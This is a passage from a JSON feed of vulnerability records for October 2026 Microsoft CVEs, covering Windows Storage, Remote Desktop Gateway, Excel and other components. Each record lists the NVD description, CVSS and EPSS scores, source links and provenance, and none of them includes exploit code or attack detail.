use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102193","type":"primary","publishedAt":"2026-10-13T19:17:43.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102193","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102192","cveId":"CVE-2026-102192","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.","summary":"Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.","detail":"Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:43.800Z","updatedAt":"2026-10-20T17:25:17.763Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2019","stacks":["Microsoft Windows","windows server 2019"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102192","asOf":"2026-10-20T17:25:17.763Z"},"epss":{"probability":0.01273,"percentile":0.69689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102192&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102192","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102192","type":"primary","publishedAt":"2026-10-13T19:17:43.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102192","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102192&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102192, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102191","cveId":"CVE-2026-102191","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:43.663Z","updatedAt":"2026-10-20T17:26:04.167Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102191","asOf":"2026-10-20T17:26:04.167Z"},"epss":{"probability":0.00289,"percentile":0.21245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102191&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102191","type":"primary","publishedAt":"2026-10-13T19:17:43.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102191","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102191&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102191, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102189","cveId":"CVE-2026-102189","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:43.517Z","updatedAt":"2026-10-20T17:27:03.913Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102189","asOf":"2026-10-20T17:27:03.913Z"},"epss":{"probability":0.00289,"percentile":0.21243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102189","type":"primary","publishedAt":"2026-10-13T19:17:43.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102189","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100225","cveId":"CVE-2026-100225","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:42.780Z","updatedAt":"2026-10-20T15:54:45.940Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100225","asOf":"2026-10-20T15:54:45.940Z"},"epss":{"probability":0.00289,"percentile":0.21244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100225","type":"primary","publishedAt":"2026-10-13T19:17:42.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100225","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100220","cveId":"CVE-2026-100220","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:42.320Z","updatedAt":"2026-10-20T15:56:51.687Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100220","asOf":"2026-10-20T15:56:51.687Z"},"epss":{"probability":0.00929,"percentile":0.60322,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100220","type":"primary","publishedAt":"2026-10-13T19:17:42.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100220","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100218","cveId":"CVE-2026-100218","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.983Z","updatedAt":"2026-10-20T16:03:01.257Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100218","asOf":"2026-10-20T16:03:01.257Z"},"epss":{"probability":0.00818,"percentile":0.56877,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100218","type":"primary","publishedAt":"2026-10-13T19:17:41.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100218","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100217","cveId":"CVE-2026-100217","aliases":[],"kind":"vulnerability","title":"Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.","summary":"Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.","detail":"Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.807Z","updatedAt":"2026-10-20T16:04:38.997Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100217","asOf":"2026-10-20T16:04:38.997Z"},"epss":{"probability":0.00326,"percentile":0.25495,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100217","type":"primary","publishedAt":"2026-10-13T19:17:41.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100217","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100216","cveId":"CVE-2026-100216","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.650Z","updatedAt":"2026-10-20T16:05:42.300Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100216","asOf":"2026-10-20T16:05:42.300Z"},"epss":{"probability":0.00289,"percentile":0.21243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100216","type":"primary","publishedAt":"2026-10-13T19:17:41.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100216","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100215","cveId":"CVE-2026-100215","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.470Z","updatedAt":"2026-10-20T16:06:54.683Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100215","asOf":"2026-10-20T16:06:54.683Z"},"epss":{"probability":0.00549,"percentile":0.45695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100215","type":"primary","publishedAt":"2026-10-13T19:17:41.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100215","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100212","cveId":"CVE-2026-100212","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.213Z","updatedAt":"2026-10-15T21:16:48.230Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100212","asOf":"2026-10-15T21:16:48.230Z"},"epss":{"probability":0.00912,"percentile":0.59767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100212&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100212","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100212","type":"primary","publishedAt":"2026-10-13T19:17:41.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100212","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100212&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100212, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100211","cveId":"CVE-2026-100211","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.073Z","updatedAt":"2026-10-15T21:16:48.113Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100211","asOf":"2026-10-15T21:16:48.113Z"},"epss":{"probability":0.0093,"percentile":0.60353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100211","type":"primary","publishedAt":"2026-10-13T19:17:41.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100211","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100211, scored 2026-10-25. This is a model estimate, not proof of 